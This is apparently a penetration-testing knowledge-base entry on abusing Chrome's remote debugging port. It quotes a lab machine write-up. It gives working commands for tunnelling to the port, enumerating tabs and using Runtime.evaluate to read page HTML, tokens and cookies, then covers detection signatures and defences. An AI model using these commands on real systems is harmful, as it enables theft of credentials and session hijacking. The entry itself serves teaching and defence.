Chrome remote debugger abuse

Chrome (and other Chromium-based browsers) offers a remote debugging protocol (Chrome DevTools Protocol, CDP). When started with --remote-debugging-port=PORT, the browser opens an HTTP/WebSocket channel through which anyone who reaches that port can list open tabs, read their content, run JavaScript in them and control them as if they had DevTools open.

This commonly appears when a server runs an automated headless Chrome (a bot, a scraper, a scheduled task) that logs in on its own to some internal application. If that process was started with remote debugging, its session is exposed. You locate it by looking for the flag in the process list:

ps aux | grep -i 'remote-debugging-port'          # Linux
netstat -ano | findstr 9222                         # Windows: CDP port listening

Forward the port and enumerate tabs

The debugging port usually listens only on localhost, so you first bring it to the attacker machine with an SSH port forward and then list the tabs over HTTP:

ssh -L 9222:127.0.0.1:9222 user@victim
curl http://127.0.0.1:9222/json                    # list of tabs + their webSocketDebuggerUrl
curl http://127.0.0.1:9222/json/version            # browser version and User-Agent

Each tab carries a webSocketDebuggerUrl (ws://127.0.0.1:9222/devtools/page/<ID>). Connecting the attacker's own Chrome to chrome://inspect/#devices (Configure -> 127.0.0.1:9222) inspects the victim's session in the GUI. To automate it, you send a Runtime.evaluate command over the WebSocket and read the DOM or the cookies:

# read the full rendered HTML of the tab (includes tokens and filled fields)
websocat ws://127.0.0.1:9222/devtools/page/<ID> \
  <<< '{"id":1,"method":"Runtime.evaluate","params":{"expression":"document.documentElement.outerHTML"}}'
# dump session cookies via Network.getAllCookies
python3 -c "import asyncio,websockets,json ..."    # or the chrome-remote-interface / pychrome library

Inspecting the tab while the automated process types its login captures the credentials (or steals the session cookie) of the internal application. On the Sightless machine, this is how the administrator credentials of a Froxlor panel were obtained, which then allowed running commands as root.

Requirements

A Chromium browser started with --remote-debugging-port and reachability to that port (direct or over an SSH tunnel). The value depends on what that browser has loaded: an authenticated session to an internal app is the prize.

How to detect it. The most direct signature is a browser process with --remote-debugging-port in its command line (Event ID 4688 / Sysmon 1), which is almost never legitimate in production. On the wire, HTTP traffic to /json and WebSocket connections to /devtools/page/ from a source that is not the automation itself, plus a CDP port listening (9222 by default), give away the exposure. An SSH tunnel with -L to that port adds the exfiltration context.

Defence. Do not start browsers with remote debugging in production; if unavoidable, restrict the port to loopback with a firewall and to specific processes, and do not automate logins with privileged credentials in a debuggable browser. Cookie theft leads to session hijacking or credential reuse.